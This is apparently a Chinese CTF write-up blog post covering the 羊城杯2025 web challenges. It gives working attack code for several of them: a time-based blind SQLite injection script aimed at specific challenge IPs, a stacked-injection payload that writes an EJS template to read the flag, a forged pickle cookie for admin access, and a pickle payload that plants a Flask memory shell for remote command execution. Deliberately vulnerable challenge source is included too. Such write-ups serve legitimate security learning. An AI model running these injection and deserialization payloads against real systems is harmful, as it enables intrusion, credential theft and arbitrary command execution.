目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. ez_unserialize
    2. 2.2. ezsignin
    3. 2.3. ez_blog
    4. 2.4. authweb(Unsolved)
    5. 2.5. staticNodeService(Unsolved)
    6. 2.6. evil_login(Unsolved)
    7. 2.7. update_it(Unsolved)
    8. 2.8. 金Java(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

羊城杯2025

2025/10/11
  |     |   总文章阅读量:

前言

qwb 前瞻


Web

ez_unserialize

<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
    public $first;
    public $step;
    public $next;

    public function __construct() {
        $this->first = "继续加油!";
    }

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd'];
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

unserialize($_POST['payload']);

?>

链子:



ezsignin

注册和登录

注意到注册时 username 用单引号会返回注册失败,两个单引号则正常,且只有 -- 能注释,说明是 sqlite

那么就是 insert 注入,猜测后端大致如下

insert into users(username,password) values('{username}','{password}');

在 username 处注入 ',payload)--+ 实现闭合

import requests
import time
import random
dict = "1234567890ABCDEF~"
url = 'http://45.40.247.139:30959/register'
flag = '435245415445205441424'
num = len(flag)+1
while True:
    for i in dict:
        payload = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',6)) + "',(case when(substr((select hex(sql) from sqlite_master),{0},1)='{1}') then randomblob(300000000) else 0 end))--+".format(num,i)
        data = {"username": payload, "password": "1","confirmPassword":"1"}
        start_time = time.time()
        resp = requests.post(url, data=data)
        end_time = time.time()
        spend_time = end_time - start_time
        # print(spend_time,i)
        if spend_time >= 2:
            flag += i
            print(flag)
            num += 1
            break
    if i == "~":
        exit("over")

爆出来的创建表语句为

CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE NOT NULL,
    password TEXT NOT NULL,
    is_admin BOOLEAN DEFAULT 0,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

然后爆对应的 username,is_admin 列

',(case when(substr((select hex(group_concat(username)) from users),{0},1)='{1}') then randomblob(300000000) else 0 end))--+

可知 Admin 是管理员

不能用 group_concat 爆 password ,因为我们正在写入长 password ,这样会无限递归导致靶机直接 502,直接读第一行就行

最终读出来的密码是 98e32d889927abe4014282166e89a323,此处需要逐步爆破比较稳定

import requests
import time
import random
dict = "1234567890ABCDEF~"
url = 'http://45.40.247.139:19815/register'
flag = '3938653332643838393932376162'
num = len(flag)+1
while True:
    for i in dict:
        # payload = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',6)) + "',(case when(substr((select hex(sql) from sqlite_master),{0},1)='{1}') then randomblob(300000000) else 0 end))--+".format(num,i)
        payload = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',6)) + "',(case when(substr((select hex(password) from users),1,{0})='{1}') then randomblob(300000000) else 0 end))--+".format(num,flag+i)
        data = {"username": payload, "password": "1","confirmPassword":"1"}
        start_time = time.time()
        resp = requests.post(url, data=data)
        end_time = time.time()
        spend_time = end_time - start_time
        # print(spend_time,i)
        if spend_time >= 2:
            flag += i
            print(flag)
            num += 1
            break
    if i == "~":
        exit("over")

登进去发现一个任意文件读,先读 ../app.js

const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');

const app = express();
const db = new sqlite3.Database('./db.sqlite');

/*
FLAG in /fla4444444aaaaaagg.txt
*/

app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(
  session({
    secret: 'welcometoycb2025',
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false },
  }),
);

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

const checkPermission = (req, res, next) => {
  if (req.path === '/login' || req.path === '/register') return next();
  if (!req.session.user) return res.redirect('/login');
  if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
  next();
};

app.use(checkPermission);

app.get('/', (req, res) => {
  fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
    if (err) {
      console.error('读取目录时发生错误:', err);
      return res.status(500).send('目录读取失败');
    }
    req.session.files = files;
    res.render('files', { files, user: req.session.user });
  });
});

app.get('/login', (req, res) => {
  res.render('login');
});

app.get('/register', (req, res) => {
  res.render('register');
});

app.get('/upload', (req, res) => {
  if (!req.session.user) return res.redirect('/login');
  res.render('upload', { user: req.session.user });
  //todoing
});

app.get('/logout', (req, res) => {
  req.session.destroy(err => {
    if (err) {
      console.error('退出时发生错误:', err);
      return res.status(500).send('退出失败');
    }
    res.redirect('/login');
  });
});

app.post('/login', async (req, res) => {
  const username = req.body.username;
  const password = req.body.password;
  const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
  db.get(sql, async (err, user) => {
    if (!user) {
      return res.status(401).send('账号密码出错!!');
    }
    req.session.user = {
      id: user.id,
      username: user.username,
      isAdmin: user.is_admin,
    };
    res.redirect('/');
  });
});

app.post('/register', (req, res) => {
  const { username, password, confirmPassword } = req.body;

  if (password !== confirmPassword) {
    return res.status(400).send('两次输入的密码不一致');
  }

  db.exec(
    `INSERT INTO users (username, password) VALUES ('${username}', '${password}')`,
    function (err) {
      if (err) {
        console.error('注册失败:', err);
        return res.status(500).send('注册失败,用户名可能已存在');
      }
      res.redirect('/login');
    },
  );
});

app.get('/download', (req, res) => {
  if (!req.session.user) return res.redirect('/login');
  const filename = req.query.filename;
  if (filename.startsWith('/') || filename.startsWith('./')) {
    return res.status(400).send('WAF');
  }
  if (
    filename.includes('../../') ||
    filename.includes('.././') ||
    filename.includes('f') ||
    filename.includes('//')
  ) {
    return res.status(400).send('WAF');
  }
  if (!filename || path.isAbsolute(filename)) {
    return res.status(400).send('无效文件名');
  }
  const filePath = path.join(__dirname, 'documents', filename);
  if (fs.existsSync(filePath)) {
    res.download(filePath);
  } else {
    res.status(404).send('文件不存在');
  }
});

const PORT = 80;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

哇还有 waf,你坏死了喵😭👊

此时才发现 /login 可以直接注入 1") or 1=1--+ 实现登录

访问 /upload 发现 upload 模板没写空出来了,那还说啥了,直接 sqlite 注入继续写 upload.ejs 包含 flag 就完事了,注意依旧在 /register 注入,只有这里用的是 exec 能堆叠注入

aaa','1');ATTACH DATABASE '/app/views/upload.ejs' AS shell;create TABLE shell.exp (webshell text);insert INTO shell.exp (webshell) VALUES ('<%- include("/fla4444444aaaaaagg.txt"); %>');--+


ez_blog

访客只能用访客账号登录,那么容易注意到帐密 guest:guest

返回 Token:8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e

没见过?hex 解码再用 base64 加密一下就会发现格式和 pickle 序列化字符串很像

pickletools 解一下

    0: \x80 PROTO      4
    2: \x95 FRAME      75
   11: \x8c SHORT_BINUNICODE 'app'
   16: \x94 MEMOIZE    (as 0)
   17: \x8c SHORT_BINUNICODE 'User'
   23: \x94 MEMOIZE    (as 1)
   24: \x93 STACK_GLOBAL
   25: \x94 MEMOIZE    (as 2)
   26: )    EMPTY_TUPLE
   27: \x81 NEWOBJ
   28: \x94 MEMOIZE    (as 3)
   29: }    EMPTY_DICT
   30: \x94 MEMOIZE    (as 4)
   31: (    MARK
   32: \x8c     SHORT_BINUNICODE 'id'
   36: \x94     MEMOIZE    (as 5)
   37: K        BININT1    2
   39: \x8c     SHORT_BINUNICODE 'username'
   49: \x94     MEMOIZE    (as 6)
   50: \x8c     SHORT_BINUNICODE 'guest'
   57: \x94     MEMOIZE    (as 7)
   58: \x8c     SHORT_BINUNICODE 'is_admin'
   68: \x94     MEMOIZE    (as 8)
   69: \x89     NEWFALSE
   70: \x8c     SHORT_BINUNICODE 'logged_in'
   81: \x94     MEMOIZE    (as 9)
   82: \x88     NEWTRUE
   83: u        SETITEMS   (MARK at 31)
   84: b    BUILD
   85: .    STOP
highest protocol among opcodes = 4

那么我们只需要把 is_admin 字段修改为 true 即可,怎么修改呢,False 是 89,而 True 是 88,直接修改 hex 字节流即可:8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94888c096c6f676765645f696e948875622e

以 admin 访问 /add 发现没什么别的东西,那直接打反序列化 payload 呗

内存马直接打

import os
import pickle

class C():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = C()
b = pickle.dumps(a)
print(b)
print(b.hex())

flag 在 /thisisthefffflllaaaggg.txt

app.py

import os
import pickle
import base64
from datetime import datetime
from flask import Flask, request, render_template, redirect, url_for, flash, make_response, request as flask_request, g
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash

# 用户类定义
class User:
    def __init__(self, user_id, username, is_admin):
        self.id = user_id
        self.username = username
        self.is_admin = is_admin
        self.logged_in = True

    def serialize(self):
        serialized = pickle.dumps(self)
        hex_encoded = serialized.hex()
        return hex_encoded

    @staticmethod
    def deserialize(hex_encoded):
        try:
            serialized = bytes.fromhex(hex_encoded)
            return pickle.loads(serialized)
        except Exception:
            return None

app = Flask(__name__,
    static_folder='static',
    static_url_path='/banbanbannonono'
)
app.secret_key = os.urandom(24)

# 数据库配置
DATABASE = './blog.db'

@app.context_processor
def inject_variables():
    user = get_current_user()
    return {
        'current_year': datetime.now().year,
        'is_admin': user.is_admin if user else False,
        'username': user.username if user else ''
    }

def get_current_user():
    user_hex = flask_request.cookies.get('Token')
    if user_hex:
        user = User.deserialize(user_hex)
        if user and user.logged_in:
            return user
    return None

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
        db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

def init_db():
    with app.app_context():
        db = get_db()
        db.execute('''
            CREATE TABLE IF NOT EXISTS users (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                username TEXT UNIQUE NOT NULL,
                password TEXT NOT NULL,
                is_admin INTEGER NOT NULL DEFAULT 0
            )
        ''')
        db.execute('''
            CREATE TABLE IF NOT EXISTS posts (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                title TEXT NOT NULL,
                content TEXT NOT NULL,
                created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
            )
        ''')
        db.commit()
        
        cursor = db.execute('SELECT * FROM users WHERE username = ?', ('admin',))
        if cursor.fetchone() is None:
            db.execute(
                'INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)',
                ('admin', generate_password_hash('aZPkAfnkXTm6UZKYPvhMWhRxnZENBRfB'), 1)
            )
            db.execute(
                'INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)',
                ('guest', generate_password_hash('guest'), 0)
            )
            db.commit()

def login_required(f):
    def decorated_function(*args, **kwargs):
        user = get_current_user()
        if not user:
            flash('请先登录')
            return redirect(url_for('login'))
        elif not user.is_admin:
            flash('您没有权限执行此操作,需要管理员权限')
            return redirect(url_for('index'))
        return f(*args, **kwargs)
    decorated_function.__name__ = f.__name__
    return decorated_function

@app.route('/')
def index():
    db = get_db()
    # 从数据库获取所有文章
    posts = db.execute('SELECT * FROM posts ORDER BY created_at DESC').fetchall()
    return render_template('index.html', posts=posts)

@app.route('/add', methods=['GET', 'POST'])
@login_required
def add_post():
    if request.method == 'POST':
        title = request.form['title']
        content = request.form['content']
        if title and content:
            # 将文章添加到数据库
            db = get_db()
            
            # 查找最小的可用ID(填补已删除的ID空缺)
            cursor = db.execute('''
                SELECT t1.id + 1 AS next_id 
                FROM posts t1 
                LEFT JOIN posts t2 ON t1.id + 1 = t2.id 
                WHERE t2.id IS NULL 
                ORDER BY t1.id 
                LIMIT 1
            ''')
            next_id = cursor.fetchone()
            
            # 如果没有空缺的ID,使用最大的现有ID+1
            if not next_id:
                cursor = db.execute('SELECT MAX(id) FROM posts')
                max_id = cursor.fetchone()[0]
                next_id = max_id + 1 if max_id else 1
            else:
                next_id = next_id['next_id']
            
            # 使用找到的ID插入新文章
            db.execute(
                'INSERT INTO posts (id, title, content) VALUES (?, ?, ?)',
                (next_id, title, content)
            )
            db.commit()
            flash('文章添加成功!')
            return redirect(url_for('index'))
        else:
            flash('标题和内容不能为空!')
    return render_template('add_post.html')

@app.route('/post/<int:post_id>')
def view_post(post_id):
    db = get_db()
    post = db.execute('SELECT * FROM posts WHERE id = ?', (post_id,)).fetchone()
    if post:
        return render_template('view_post.html', post=post, post_id=post_id)
    else:
        flash('文章不存在!')
        return redirect(url_for('index'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        
        db = get_db()
        user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
        
        if user and check_password_hash(user['password'], password):
            user_obj = User(user['id'], user['username'], user['is_admin'] == 1)
            user_hex = user_obj.serialize()
            response = make_response(redirect(url_for('index')))
            response.set_cookie('Token', user_hex, max_age=86400, httponly=True, secure=False)
            flash('登录成功!')
            return response
        else:
            flash('用户名或密码错误!')
    return render_template('login.html')

@app.route('/logout')
def logout():
    response = make_response(redirect(url_for('index')))
    response.set_cookie('Token', '', expires=0)
    flash('已成功登出!')
    return response

@app.route('/delete/<int:post_id>', methods=['POST'])
@login_required
def delete_post(post_id):
    db = get_db()
    post = db.execute('SELECT * FROM posts WHERE id = ?', (post_id,)).fetchone()
    if post:
        db.execute('DELETE FROM posts WHERE id = ?', (post_id,))
        db.commit()
        flash('文章已成功删除!')
    else:
        flash('文章不存在!')
    return redirect(url_for('index'))

if __name__ == '__main__':
    init_db()
    app.run("0.0.0.0", port=5000)

authweb(Unsolved)


staticNodeService(Unsolved)

"dependencies": {
  "ejs": "^3.1.10",
  "express": "^4.19.2"
}

App.js

const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = parseInt(process.env.PORT) || 3000;

app.set('view engine', 'ejs');
app.use(express.json({
    limit: '1mb'
}));

const STATIC_DIR = path.join(__dirname, '/');


// serve index for better viewing
function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    var lsPath = path.join(__dirname, req.path);
    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        console.log(e);
        res.status(500).send('Error rendering page');
    }
}


// static serve for simply view/download
app.use(express.static(STATIC_DIR));


// Security middleware
app.use((req, res, next) => {
    if (typeof req.path !== 'string' || 
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
        ) res.status(500).send('Error parsing path');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})


// logic middleware
app.use((req, res, next) => {
    if (req.path.endsWith('/')) serveIndex(req, res);
    else next();
})


// Upload operation handler
app.put('/*', (req, res) => {
    const filePath = path.join(STATIC_DIR, req.path);

    if (fs.existsSync(filePath)) {
        return res.status(500).send('File already exists');
    }

    fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
        if (err) {
            return res.status(500).send('Error writing file');
        }
        res.status(201).send('File created/updated');
    });
});


// Server start
app.listen(PORT, () => {
    console.log(`Static server is running on http://localhost:${PORT}`);
});

目标是 RCE,先看一下我们可控的东西

当路径结尾为 / 时,调用 serveIndex

// serve index for better viewing
function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    var lsPath = path.join(__dirname, req.path);
    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        console.log(e);
        res.status(500).send('Error rendering page');
    }
}

此处可以指定 templ 和要作为模板参数的 path 路径进行 ejs 渲染,但是 ejs 3.1.10

文件上传部分

// Security middleware
app.use((req, res, next) => {
    if (typeof req.path !== 'string' || 
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
        ) res.status(500).send('Error parsing path');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})

// Upload operation handler
app.put('/*', (req, res) => {
    const filePath = path.join(STATIC_DIR, req.path);

    if (fs.existsSync(filePath)) {
        return res.status(500).send('File already exists');
    }

    fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
        if (err) {
            return res.status(500).send('Error writing file');
        }
        res.status(201).send('File created/updated');
    });
});

PUT 上传文件,路径上过滤 js 结尾、..,这样子就不好用 express 引擎解析绕过了


evil_login(Unsolved)

只有一个登录的功能点

guest:guest1234 登录

得到 hs256 的 jwt


update_it(Unsolved)

update 功能 username 处单引号直接报错

error occurred while executing ### update ycb_user set username='1'' where open_id='1'### You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 1

金Java(Unsolved)

jinjava 模板

CVE-2025-59340? https://github.com/HubSpot/jinjava/security/advisories/GHSA-m49c-g9wr-hv6v